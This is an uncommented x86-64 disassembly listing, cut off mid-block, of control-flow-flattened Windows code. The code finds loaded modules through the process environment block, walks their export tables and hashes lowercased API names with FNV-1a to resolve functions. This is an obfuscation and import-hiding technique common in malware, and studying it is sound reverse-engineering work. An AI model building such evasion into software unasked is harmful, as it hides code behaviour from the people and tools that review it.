cmp eax, 0xdfce91c3
je 0x140369366
cmp eax, 0xe3eafbe4
je 0x140369388
cmp eax, 0xf40e2635
jne 0x140368b60
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8108]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140ae810c], 0xa
setl dl
or dl, cl
mov edx, 0x5704dee6
mov ecx, 0x42c6bf2c
cmovne edx, ecx
mov ecx, 0x5704dee6
mov ebx, 0xbb5b4fcd
cmovne ecx, ebx
mov r8, qword [rax + 8]
mov ebx, 0x64fe3025
mov eax, 0x47a989db
cmovne ebx, eax
mov edi, 0x64fe3025
mov eax, 0x3860c77
cmovne edi, eax
mov eax, 0x3c1c4314
jmp 0x140368d40
mov rax, qword [rbp + 0x198]
mov eax, 0xbb5b4fcd
nop word cs:[rax + rax]
nop
cmp eax, 0x42c6bf2b
jg 0x140368d60
cmp eax, 0x3860c76
jg 0x140368d80
cmp eax, 0xbb5b4fcd
je 0x140368da0
cmp eax, 0xbd215c35
jne 0x140368d40
mov eax, ecx
jmp 0x140368d40
cmp eax, 0x5704dee5
jle 0x140368d92
cmp eax, 0x5704dee6
je 0x140368d28
cmp eax, 0x64fe3025
jne 0x140368d40
mov eax, 0x3860c77
jmp 0x140368d40
cmp eax, 0x3860c77
je 0x140368dae
cmp eax, 0x3c1c4314
jne 0x140368d40
mov eax, edi
jmp 0x140368d40
cmp eax, 0x47a989db
jne 0x140368db9
mov eax, 0xbd215c35
jmp 0x140368d40
mov rax, qword [rbp + 0x198]
mov esi, dword [rax + 0x18]
mov eax, edx
jmp 0x140368d40
mov qword [rbp + 0x198], r8
mov eax, ebx
jmp 0x140368d40
cmp eax, 0x42c6bf2c
jne 0x140368d40
mov dword [rbp + 0x190], esi
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0xc8], eax
mov eax, 0x4ca3889b
jmp 0x140368b60
cmp eax, 0x31b142dd
je 0x140369408
cmp eax, 0x38ffed7e
je 0x140368b37
cmp eax, 0x470a4e5f
jne 0x140368b60
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x188], rdx
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 0x20]
mov dword [rbp + 0x178], ecx
mov edx, 0x1693d0f7
nop word cs:[rax + rax]
cmp edx, 0x2d3e5cdb
je 0x140369421
cmp edx, 0x1693d0f7
jne 0x140368e30
mov ecx, dword [rbp + 0x178]
add rcx, qword [rbp + 0x188]
mov edx, 0x2d3e5cdb
jmp 0x140368e30
cmp eax, 0xa24d1d27
je 0x140369aa9
cmp eax, 0xacc95487
je 0x140369ac1
cmp eax, 0xb2fd6b3c
jne 0x140368b60
mov eax, 0x18c9d93
mov dword [rbp + 0x108], 0
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0xa8], rcx
jmp 0x140368b60
cmp eax, 0x1e9056d5
je 0x140369aeb
cmp eax, 0x2e8fc0cf
je 0x140369af5
cmp eax, 0x2f80c4ea
jne 0x140368b60
mov eax, 0xacc95487
mov ecx, dword [rbp + 0xc8]
mov dword [rbp + 0xa0], ecx
jmp 0x140368b60
cmp eax, 0x18c9d93
je 0x140369b2a
cmp eax, 0xe1148b9
jne 0x140368b60
cmp byte [rbp + 0x172], 0
mov eax, 0xacc95487
mov ecx, 0xe3eafbe4
cmovne eax, ecx
mov ecx, dword [rbp + 0x12c]
mov dword [rbp + 0xa0], ecx
jmp 0x140368b60
cmp eax, 0x704c8eed
je 0x140369b66
cmp eax, 0x7e25d310
jne 0x140368b60
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov rax, qword [rbp + 0xe0]
mov r10, qword [rax + 0x30]
mov r8, qword [rbp + 0x118]
mov qword [r8], r10
mov eax, dword [0x140ae8110]
mov ecx, dword [0x140ae8114]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x178]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x188]
or cl, al
mov edx, 0xfe777634
mov eax, 0xda4ed74b
cmovne edx, eax
mov ecx, 0xfe777634
mov eax, 0x14a712fb
cmovne ecx, eax
mov edi, 0x5f40d673
mov eax, 0x958d7ea
cmovne edi, eax
mov ebx, 0xdc2154f5
jmp 0x140368fc0
mov qword [rbp + 0x198], r10
mov ebx, edi
mov eax, ebx
cmp ebx, 0x958d7e9
jle 0x140369000
cmp eax, 0x43cf23db
jg 0x140369020
cmp eax, 0x958d7ea
je 0x14036908a
cmp eax, 0x14a712fb
jne 0x140369094
mov rax, qword [rbp + 0x198]
mov r11d, dword [rax + 0x3c]
mov ebx, edx
jmp 0x140368fc0
cmp eax, 0xdc2154f4
jg 0x140369040
cmp eax, 0xb588294a
je 0x140368fb7
mov ebx, eax
cmp eax, 0xda4ed74b
jne 0x140368fc0
mov ebx, 0x9971561
jmp 0x140368fc0
mov ebx, ecx
cmp eax, 0x43cf23dc
je 0x140368fc0
mov ebx, eax
cmp eax, 0x5f40d673
jne 0x140368fc0
mov ebx, 0xb588294a
jmp 0x140368fc0
cmp eax, 0xdc2154f5
je 0x140369065
mov ebx, eax
cmp eax, 0xfe777634
jne 0x140368fc0
mov rax, qword [rbp + 0x198]
mov ebx, 0x14a712fb
jmp 0x140368fc0
movzx eax, byte [rbp + 0x178]
cmp byte [rbp + 0x188], 0
mov ebx, 0x5f40d673
mov esi, 0xb588294a
cmovne ebx, esi
test al, al
cmovne ebx, esi
jmp 0x140368fc0
mov ebx, 0x43cf23dc
jmp 0x140368fc0
mov ebx, eax
cmp eax, 0x9971561
jne 0x140368fc0
mov dword [rbp + 0x190], r11d
movsxd rax, dword [rbp + 0x190]
mov ecx, dword [r10 + rax + 0x88]
mov dword [rbp + 0x178], ecx
add rax, r10
add rax, 0x8c
mov qword [rbp + 0x190], rax
mov eax, 0xb4e2a26d
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x6c7afb3a
je 0x140369ba1
cmp eax, 0xb4e2a26d
jne 0x1403690e0
mov rax, qword [rbp + 0x190]
mov eax, dword [rax]
mov dword [rbp + 0x188], eax
mov eax, dword [rbp + 0x178]
add rax, r10
mov qword [rbp + 0x198], rax
mov eax, 0x6c7afb3a
jmp 0x1403690e0
cmp eax, 0xd6b57203
jne 0x140369d9f
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 0
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0x98], rcx
jmp 0x140368b60
mov eax, 0xc831fa3a
xor ecx, ecx
mov qword [rbp + 0x90], rcx
jmp 0x140368b60
mov eax, 0x2f80c4ea
jmp 0x140368b60
mov eax, 0x2e8fc0cf
mov dword [rbp + 0x10c], 1
mov rcx, qword [rbp + 0xe8]
mov qword [rbp + 0x98], rcx
jmp 0x140368b60
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.140616310
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x118], rax
lea rax, [rbp + 0xe0]
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
mov eax, 0x55d14e4e
jmp 0x140368b60
mov eax, dword [0x140ae8118]
lea edx, [rax - 1]
imul edx, eax
mov eax, dword [0x140ae811c]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8120], 0xa
setl cl
or cl, al
mov edi, 0xc34c4d35
mov eax, 0xda384f69
cmovne edi, eax
mov ecx, 0xc34c4d35
mov eax, 0xcef4daed
cmovne ecx, eax
test dl, 1
sete byte [rbp + 0x174]
mov edx, dword [0x140ae8124]
mov ebx, 0x66882932
mov eax, 0x3116d75d
cmove ebx, eax
cmp edx, 0xa
setl byte [rbp + 0x160]
cmovl ebx, eax
mov edx, 0x8beff44c
nop dword [rax]
cmp edx, 0x3116d75c
jle 0x140369260
cmp edx, 0x3116d75d
je 0x14036930f
cmp edx, 0x66882932
je 0x140369319
cmp edx, 0x6c540096
jne 0x140369230
jmp 0x140369d46
cmp edx, 0x8beff44c
je 0x140369323
cmp edx, 0xed5b005a
je 0x140369347
cmp edx, 0x15bf159a
jne 0x140369230
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov rax, qword [rax]
mov qword [rbp + 0x190], rax
mov edx, 0xdb406100
nop word cs:[rax + rax]
nop
cmp edx, 0xda384f68
jle 0x1403692f0
cmp edx, 0xda384f69
je 0x14036934e
cmp edx, 0xc5b6513
je 0x140369304
cmp edx, 0xdb406100
jne 0x1403692b0
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov qword [rbp + 0x198], rax
mov edx, 0xc5b6513
jmp 0x1403692b0
cmp edx, 0xc34c4d35
je 0x140369308
cmp edx, 0xcef4daed
jne 0x1403692b0
mov edx, edi
jmp 0x1403692b0
mov edx, ecx
jmp 0x1403692b0
mov edx, 0xcef4daed
jmp 0x1403692b0
mov edx, 0x15bf159a
jmp 0x140369230
mov edx, 0xed5b005a
jmp 0x140369230
mov al, byte [rbp + 0x174]
cmp byte [rbp + 0x160], 0
mov edx, 0x66882932
mov esi, 0xed5b005a
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x140369230
mov edx, ebx
jmp 0x140369230
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x188], rax
mov edx, 0x6c540096
jmp 0x140369230
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x15c]
mov eax, 0x704c8eed
jmp 0x140368b60
mov rcx, qword [rbp + 0x118]
mov eax, dword [rbp + 0x12c]
mov rdx, qword [rcx]
mov qword [rbp + 0x178], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x178]
mov qword [rbp + 0x190], rcx
mov ecx, 0xa7e038c0
nop word [rax + rax]
cmp ecx, 0xa3a28b43
je 0x140369d68
cmp ecx, 0xa7e038c0
jne 0x1403693d0
mov rcx, qword [rbp + 0x190]
movzx ecx, word [rcx + rax*2]
shl rcx, 2
add rcx, qword [rbp + 0x188]
mov qword [rbp + 0x198], rcx
mov ecx, 0xa3a28b43
jmp 0x1403693d0
cmp byte [rbp + 0x173], 0
mov eax, 0xd6b57203
mov ecx, 0x470a4e5f
cmovne eax, ecx
jmp 0x140368b60
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x198]
mov eax, dword [rax + rcx*4]
add rax, qword [rbp + 0x188]
mov qword [rbp + 0x80], rax
mov eax, dword [0x140ae8128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae812c], 0xa
setl cl
or cl, al
mov eax, dword [0x140ae8130]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x140ae8134], 0xa
setl dl
or dl, al
mov esi, 0xa8c1e4bc
mov eax, 0x162d485e
cmovne esi, eax
mov r11d, 0xa8c1e4bc
mov eax, 0x3bfdfa96
cmovne r11d, eax
mov r8d, 0xcbec2657
mov eax, 0x3d103833
cmovne r8d, eax
mov edi, 0xcbec2657
mov eax, 0x97d6b74c
cmovne edi, eax
test cl, cl
mov r10d, 0x7c4755d
mov eax, 0xb69743ae
cmovne r10d, eax
mov ecx, 0x7c4755d
mov eax, 0xb10b2499
cmovne ecx, eax
mov dword [rbp + 0xd0], ecx
mov ecx, 0x803f1b2f
mov eax, 0x1e021d7e
cmovne ecx, eax
mov dword [rbp + 0xd4], ecx
mov ecx, 0x803f1b2f
mov eax, 0xe91aaf98
cmovne ecx, eax
mov dword [rbp + 0xd8], ecx
mov r13d, 0x1779598e
mov eax, 0x163a0f30
cmovne r13d, eax
mov ebx, 0x1779598e
mov eax, 0xd3c21c63
cmovne ebx, eax
mov dword [rbp + 0x78], ebx
mov ebx, 0x17e69b4a
mov eax, 0x89a14e6f
cmovne ebx, eax
mov dword [rbp + 0xdc], ebx
mov r14d, 0x17e69b4a
mov eax, 0xb3ac832
cmovne r14d, eax
mov ebx, 0xe098d522
jmp 0x140369580
mov dword [rbp + 0x128], r12d
mov dword [rbp + 0x154], edx
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x198], rax
mov ebx, dword [rbp + 0xd8]
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x7c4755c
jle 0x140369860
cmp eax, 0x17e69b49
jle 0x140369910
cmp eax, 0x473e8a80
jg 0x140369948
cmp eax, 0x17e69b4a
je 0x140369a9f
cmp eax, 0x1e021d7e
je 0x140369a0a
mov ebx, eax
cmp eax, 0x237bb451
jne 0x140369580
mov dword [rbp + 0xcc], edx
mov dword [rbp + 0x134], r12d
mov dword [rbp + 0x130], ecx
mov dword [rbp + 0xf8], r15d
mov r12d, r13d
mov ecx, r14d
mov edx, r10d
movsx r13d, byte [rbp + 0x187]
mov eax, dword [rbp + 0x154]
mov r14d, 0xd81fc671
jmp 0x140369620
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov ebx, dword [rbp + 0x188]
mov r14d, 0x3bfdfa96
nop word [rax + rax]
mov ebx, r14d
cmp r14d, 0x3bfdfa95
jle 0x140369670
cmp ebx, 0x491c42a4
jle 0x1403696f0
cmp ebx, 0x5ae5fef5
jg 0x140369732
cmp ebx, 0x491c42a5
je 0x140369791
mov r14d, ebx
cmp ebx, 0x49f89684
jne 0x140369620
mov dword [rbp + 0x188], r15d
mov r14d, r11d
jmp 0x140369620
cmp ebx, 0xa8c1e4bb
jle 0x1403696b0
cmp ebx, 0xd81fc670
jg 0x140369763
cmp ebx, 0xa8c1e4bc
je 0x1403695fc
mov r14d, ebx
cmp ebx, 0xcbec2657
jne 0x140369620
mov r14d, 0x97d6b74c
jmp 0x140369620
mov r14d, edi
cmp ebx, 0x857613f4
je 0x140369620
cmp ebx, 0x91fe2f04
je 0x1403697be
mov r14d, ebx
cmp ebx, 0x97d6b74c
jne 0x140369620
mov r14d, r8d
jmp 0x140369620
cmp ebx, 0x3bfdfa96
je 0x1403697d9
cmp ebx, 0x3d103833
je 0x1403697f0
mov r14d, ebx
cmp ebx, 0x43d862de
jne 0x140369620
cmp byte [rbp + 0x16f], 0
mov r14d, 0x5ae5fef6
mov ebx, 0x491c42a5
cmovne r14d, ebx
jmp 0x140369620
cmp ebx, 0x5ae5fef6
je 0x1403697ac
mov r14d, ebx
cmp ebx, 0x73385a14
jne 0x140369620
mov ebx, dword [rbp + 0x174]
or ebx, 0x20
mov dword [rbp + 0x160], ebx
mov r14d, 0x857613f4
jmp 0x140369620
cmp ebx, 0xd81fc671
jne 0x140369802
mov dword [rbp + 0x174], r13d
mov ebx, dword [rbp + 0x174]
cmp ebx, 0x41
setge byte [rbp + 0x16f]
mov r14d, 0x43d862de
jmp 0x140369620
mov ebx, dword [rbp + 0x174]
cmp ebx, 0x5b
setl byte [rbp + 0x16e]
mov r14d, 0x91fe2f04
jmp 0x140369620
mov r14d, 0x49f89684
mov r15d, dword [rbp + 0x174]
jmp 0x140369620
cmp byte [rbp + 0x16e], 0
mov r14d, 0x5ae5fef6
mov ebx, 0x73385a14
cmovne r14d, ebx
jmp 0x140369620
mov ebx, dword [rbp + 0x188]
xor ebx, eax
imul r10d, ebx, 0x1000193
mov r14d, esi
jmp 0x140369620
mov r14d, 0x49f89684
mov r15d, dword [rbp + 0x160]
jmp 0x140369620
mov r14d, ebx
cmp ebx, 0x162d485e
jne 0x140369620
mov dword [rbp + 0x178], r10d
mov eax, dword [rbp + 0x178]
mov dword [rbp + 0xc0], eax
mov ebx, 0x91995dcd
mov r10d, edx
mov r14d, ecx
mov r13d, r12d
mov r15d, dword [rbp + 0xf8]
mov ecx, dword [rbp + 0x130]
mov r12d, dword [rbp + 0x134]
mov edx, dword [rbp + 0xcc]
jmp 0x140369580
cmp eax, 0xb10b2498
jg 0x1403698a0
cmp eax, 0x89a14e6e
jle 0x140369973
cmp eax, 0x89a14e6f
je 0x140369a3b
cmp eax, 0x8f1ff919
je 0x140369554
mov ebx, eax
cmp eax, 0x91995dcd
jne 0x140369580
mov ebx, dword [rbp + 0xd0]
jmp 0x140369580
cmp eax, 0xd3c21c62
jle 0x1403699a5
mov ebx, r13d
cmp eax, 0xd3c21c63
je 0x140369580
mov ebx, r14d
cmp eax, 0xe098d522
je 0x140369580
mov ebx, eax
cmp eax, 0xe91aaf98
jne 0x140369580
mov rax, qword [rbp + 0x198]
add rax, 1
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x198]
mov al, byte [rax]
mov byte [rbp + 0x187], al
cmp byte [rbp + 0x187], 0
setne byte [rbp + 0x170]
mov ebx, dword [rbp + 0xd4]
jmp 0x140369580
cmp eax, 0xe81cf2c
jle 0x1403699ca
cmp eax, 0xe81cf2d
je 0x140369a45
cmp eax, 0x163a0f30
je 0x1403699ed
mov ebx, eax
cmp eax, 0x1779598e
jne 0x140369580
mov ebx, 0xd3c21c63
jmp 0x140369580
cmp eax, 0x4952a100
je 0x140369a6c
mov ebx, dword [rbp + 0x78]
cmp eax, 0x574b71b6
je 0x140369580
mov ebx, eax
cmp eax, 0x473e8a81
jne 0x140369580
jmp 0x140369d89
cmp eax, 0x803f1b2f
je 0x140369a23
mov ebx, eax
cmp eax, 0x81b25ea0
jne 0x140369580
mov r9d, dword [rbp + 0xc0]
mov ebx, 0x4952a100
xor r15d, r15d
mov ecx, dword [rbp + 0x128]
jmp 0x140369580
mov ebx, r10d
cmp eax, 0xb10b2499
je 0x140369580
mov ebx, eax
cmp eax, 0xb69743ae
jne 0x140369580
mov ebx, 0x81b25ea0
jmp 0x140369580
cmp eax, 0x7c4755d
je 0x140369a62
mov ebx, eax
cmp eax, 0xb3ac832
jne 0x140369580
mov ebx, dword [rbp + 0xdc]
jmp 0x140369580
mov ebx, 0x8f1ff919
mov edx, 0x811c9dc5
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
jmp 0x140369580
cmp byte [rbp + 0x170], 0
mov ebx, 0xe81cf2d
mov eax, 0x237bb451
cmovne ebx, eax
jmp 0x140369580
mov rax, qword [rbp + 0x198]
mov rax, qword [rbp + 0x198]
mov ebx, 0xe91aaf98
jmp 0x140369580
mov ebx, 0x574b71b6
jmp 0x140369580
mov r9d, dword [rbp + 0x154]
mov ebx, 0x4952a100
mov r15d, 1
mov ecx, dword [rbp + 0x154]
jmp 0x140369580
mov ebx, 0xb10b2499
jmp 0x140369580
mov dword [rbp + 0x158], ecx
test r15d, r15d
mov ebx, 0x473e8a81
mov eax, 0x8f1ff919
cmove ebx, eax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x100], rax
mov r12d, dword [rbp + 0x158]
mov edx, r9d
jmp 0x140369580
mov ebx, 0xb3ac832
jmp 0x140369580
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0xe8], rax
mov eax, 0xb8886506
jmp 0x140368b60
mov eax, dword [rbp + 0xa0]
mov dword [rbp + 0x15c], eax
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x704c8eed
jmp 0x140368b50
mov eax, 0x38ffed7e
jmp 0x140368b60
mov edx, dword [rbp + 0x10c]
test edx, edx
mov eax, 0x18c9d93
mov ecx, 0xb2fd6b3c
cmove eax, ecx
mov dword [rbp + 0x108], edx
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xb0], rcx
jmp 0x140368b60
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x138]
cmp dword [rbp + 0x108], 0
mov eax, 0xc831fa3a
mov ecx, 0x14c956a0
cmove eax, ecx
mov rcx, qword [rbp + 0x110]
mov qword [rbp + 0x90], rcx
jmp 0x140368b60
mov eax, dword [rbp + 0x15c]
add eax, 0xffffffff
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x15c], 0
setne byte [rbp + 0x173]
mov eax, dword [0x140ae8100]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdfce91c3
mov ecx, 0x31b142dd
jmp 0x140368b50
mov rax, qword [rbp + 0x198]
mov qword [r8 + 8], rax
mov eax, dword [rbp + 0x188]
mov dword [r8 + 0x10], eax
mov rax, qword [rbp + 0x118]
mov ecx, dword [0x140ae8138]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete byte [rbp + 0x188]
mov ecx, dword [0x140ae813c]
sete dl
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x190]
mov r8, qword [rax]
or cl, dl
mov ecx, 0x5ffb31d3
mov edx, 0x1ca53357
cmovne ecx, edx
mov r10, qword [rax + 8]
mov eax, 0x5ffb31d3
mov edx, 0xac60f90c
cmovne eax, edx
mov edi, 0xeeead46
mov edx, 0x3d145519
cmovne edi, edx
mov ebx, 0x9f42beca
jmp 0x140369c30
mov ebx, 0x1fb628eb
nop word cs:[rax + rax]
nop
mov esi, ebx
cmp ebx, 0x1fb628ea
jg 0x140369c70
cmp esi, 0xd2cc2d7a
jle 0x140369c90
cmp esi, 0xeeead46
je 0x140369cfd
cmp esi, 0x1ca53357
jne 0x140369d07
mov ebx, 0xd2cc2d7b
jmp 0x140369c30
cmp esi, 0x3d145518
jg 0x140369cb0
mov ebx, eax
cmp esi, 0x1fb628eb
je 0x140369c30
mov ebx, esi
cmp esi, 0x349a2816
jne 0x140369c30
mov ebx, edi
jmp 0x140369c30
cmp esi, 0x9f42beca
je 0x140369cd4
mov ebx, esi
cmp esi, 0xac60f90c
jne 0x140369c30
mov ebx, ecx
jmp 0x140369c30
cmp esi, 0x3d145519
je 0x140369c20
mov ebx, esi
cmp esi, 0x5ffb31d3
jne 0x140369c30
mov ebx, 0xac60f90c
jmp 0x140369c30
movzx edx, byte [rbp + 0x188]
cmp byte [rbp + 0x190], 0
mov esi, 0x349a2816
mov ebx, 0x349a2816
jne 0x140369cf3
mov ebx, 0xeeead46
test dl, dl
cmovne ebx, esi
jmp 0x140369c30
mov ebx, 0x349a2816
jmp 0x140369c30
mov ebx, esi
cmp esi, 0xd2cc2d7b
jne 0x140369c30
cmp r10, r8
setne byte [rbp + 0x198]
cmp byte [rbp + 0x198], 0
mov eax, 0xb2fd6b3c
mov ecx, 0xf40e2635
cmovne eax, ecx
mov rcx, qword [rbp + 0x148]
mov qword [rbp + 0xb0], rcx
jmp 0x140368b60
mov rax, qword [rbp + 0x178]
mov rcx, qword [rbp + 0x188]
mov qword [rax], rcx
mov byte [rbp + 0x171], 1
mov eax, 0xfc3de4fb
jmp 0x140368b60
mov rax, qword [rbp + 0x198]
mov eax, dword [rax]
add rax, qword [rbp + 0x178]
mov qword [rbp + 0x140], rax
mov eax, 0xa24d1d27
jmp 0x140368b60
mov eax, dword [rbp + 0x158]
mov dword [rbp + 0xc4], eax
mov eax, 0xc329a2b3
jmp 0x140368b60
cmp eax, 0xc831fa3a
jne 0x140368b60
jmp 0x14036a440
mov eax, dword [0x140ae8140]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8144], 0xa
setl cl
or cl, al
mov ecx, 0x1dfac00b
mov eax, 0x3cf63a48
cmovne ecx, eax
mov dword [rbp + 0x130], ecx
mov ecx, 0x1dfac00b
mov eax, 0x7b5ba97d
cmovne ecx, eax
mov dword [rbp + 0x134], ecx
mov eax, dword [0x140ae8148]
mov edx, dword [0x140ae814c]
lea ecx, [rax - 1]
imul ecx, eax
mov dword [rbp + 0xf8], ecx
test cl, 1
sete cl
mov dword [rbp + 0x100], edx
cmp edx, 0xa
setl dl
mov eax, dword [0x140ae8150]
mov r10d, dword [0x140ae8154]
lea r15d, [rax - 1]
imul r15d, eax
test r15b, 1
sete al
cmp r10d, 0xa
setl bl
or bl, al
mov eax, 0x1806efec
mov ebx, 0x2d12b554
cmovne eax, ebx
mov r11d, 0x1806efec
mov ebx, 0xc7e4f419
cmovne r11d, ebx
mov r13d, 0x50ecbf49
mov ebx, 0xb7bc901d
cmovne r13d, ebx
mov esi, 0x50ecbf49
mov ebx, 0xe073d505
cmovne esi, ebx
mov r14d, 0xb58a2df5
mov ebx, 0xb79c9156
cmovne r14d, ebx
or dl, cl
mov r9d, 0x40dbb7c4
mov ecx, 0xa9b92767
cmovne r9d, ecx
mov r8d, 0x40dbb7c4
mov ecx, 0xc7078832
cmovne r8d, ecx
mov r12d, 0x7282843
mov ecx, 0x15d8b3b5
cmovne r12d, ecx
mov ecx, 0x95071535
jmp 0x140369ed0
mov ecx, 0x7b5ba97d
nop word cs:[rax + rax]
nop
cmp ecx, 0x1dfac00a
jle 0x140369f00
cmp ecx, 0x1dfac00b
je 0x140369ec0
cmp ecx, 0x3cf63a48
je 0x140368b30
cmp ecx, 0x7b5ba97d
jne 0x140369ed0
mov ecx, dword [rbp + 0x130]
jmp 0x140369ed0
cmp ecx, 0x85e56079
je 0x14036a3f9
cmp ecx, 0x95071535
jne 0x140369ed0
test byte [rbp + 0xf8], 1
sete byte [rbp + 0x128]
cmp dword [rbp + 0x100], 0xa
setl byte [rbp + 0x154]
mov edx, 0x7245ccbf
jmp 0x140369f50
mov rcx, qword [rbp + 0x178]
mov edx, 0xc7078832
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, edx
cmp edx, 0x12477acc
jg 0x140369f90
cmp ecx, 0xeb677b59
jg 0x140369fc0
cmp ecx, 0xc5530a32
je 0x14036a201
cmp ecx, 0xc7078832
jne 0x14036a3d3
mov rcx, qword [rbp + 0x178]
mov qword [rbp + 0x188], rcx
mov edx, r9d
jmp 0x140369f50
cmp ecx, 0x40dbb7c3
jg 0x14036a190
cmp ecx, 0x12477acd
je 0x14036a1ce
mov edx, ecx
cmp ecx, 0x15d8b3b5
jne 0x140369f50
mov edx, 0x12477acd
jmp 0x140369f50
mov edx, r8d
cmp ecx, 0xeb677b5a
je 0x140369f50
mov edx, ecx
cmp ecx, 0x7282843
jne 0x140369f50
test r15b, 1
sete byte [rbp + 0x158]
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov ecx, 0xe6aa786e
jmp 0x14036a000
test bl, bl
cmovne ecx, edi
nop dword [rax + rax]
mov edi, ecx
cmp ecx, 0xe6aa786d
jg 0x14036a040
cmp edi, 0xb7bc901c
jg 0x14036a070
mov ecx, r11d
cmp edi, 0xa6904a62
je 0x14036a000
cmp edi, 0xb58a2df5
je 0x14036a118
mov ecx, edi
cmp edi, 0xb79c9156
jne 0x14036a000
mov ecx, 0x2bd10b98
jmp 0x14036a000
cmp edi, 0x2d12b553
jg 0x14036a0a3
cmp edi, 0xe6aa786e
je 0x14036a0cb
cmp edi, 0x1806efec
je 0x14036a10e
mov ecx, edi
cmp edi, 0x2bd10b98
jne 0x14036a000
mov ecx, esi
jmp 0x14036a000
cmp edi, 0xb7bc901d
je 0x14036a0f3
mov ecx, eax
cmp edi, 0xc7e4f419
je 0x14036a000
mov ecx, edi
cmp edi, 0xe073d505
jne 0x14036a000
mov rdx, qword [rbp + 0x190]
mov ecx, r13d
jmp 0x14036a000
cmp edi, 0x50ecbf49
je 0x14036a0fd
cmp edi, 0x7e9a4a9e
jne 0x14036a12b
mov rcx, qword gs:[0x60]
mov qword [rbp + 0x190], rcx
mov ecx, r14d
jmp 0x14036a000
movzx ebx, byte [rbp + 0x158]
cmp byte [rbp + 0x174], 0
mov edi, 0x7e9a4a9e
mov ecx, 0x7e9a4a9e
jne 0x140369ff6
mov ecx, 0xb58a2df5
jmp 0x140369ff6
mov ecx, 0xa6904a62
jmp 0x14036a000
mov rcx, qword [rbp + 0x190]
mov ecx, 0xe073d505
jmp 0x14036a000
mov ecx, 0xc7e4f419
jmp 0x14036a000
mov rcx, qword gs:[0x60]
mov ecx, 0x7e9a4a9e
jmp 0x14036a000
mov ecx, edi
cmp edi, 0x2d12b554
jne 0x14036a000
mov qword [rbp + 0x198], rdx
mov rcx, qword [rbp + 0x198]
mov qword [rbp + 0x190], rcx
mov edx, 0x8546b22b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x3876635d
je 0x14036a1e9
cmp edx, 0x8546b22b
jne 0x14036a160
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx + 0x18]
mov edx, 0x3876635d
jmp 0x14036a160
cmp ecx, 0x40dbb7c4
je 0x140369f37
mov edx, ecx
cmp ecx, 0x7245ccbf
jne 0x140369f50
mov cl, byte [rbp + 0x128]
cmp byte [rbp + 0x154], 0
mov edx, 0x7282843
mov ebx, 0xc5530a32
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
jmp 0x140369f50
mov rcx, qword [rbp + 0x160]
mov rcx, qword [rcx]
mov qword [rbp + 0x178], rcx
mov edx, 0xeb677b5a
jmp 0x140369f50
mov qword [rbp + 0x198], rcx
mov rcx, qword [rbp + 0x198]
mov edx, 0xc5530a32
jmp 0x140369f50
test r15b, 1
sete byte [rbp + 0x158]
mov ebx, r10d
cmp r10d, 0xa
setl byte [rbp + 0x174]
mov edi, 0xe6aa786e
jmp 0x14036a230
test cl, cl
cmovne edi, edx
nop word cs:[rax + rax]
mov edx, edi
cmp edi, 0xe6aa786d
jg 0x14036a270
cmp edx, 0xb7bc901c
jg 0x14036a2a0
mov edi, r11d
cmp edx, 0xa6904a62
je 0x14036a230
cmp edx, 0xb58a2df5
je 0x14036a348
mov edi, edx
cmp edx, 0xb79c9156
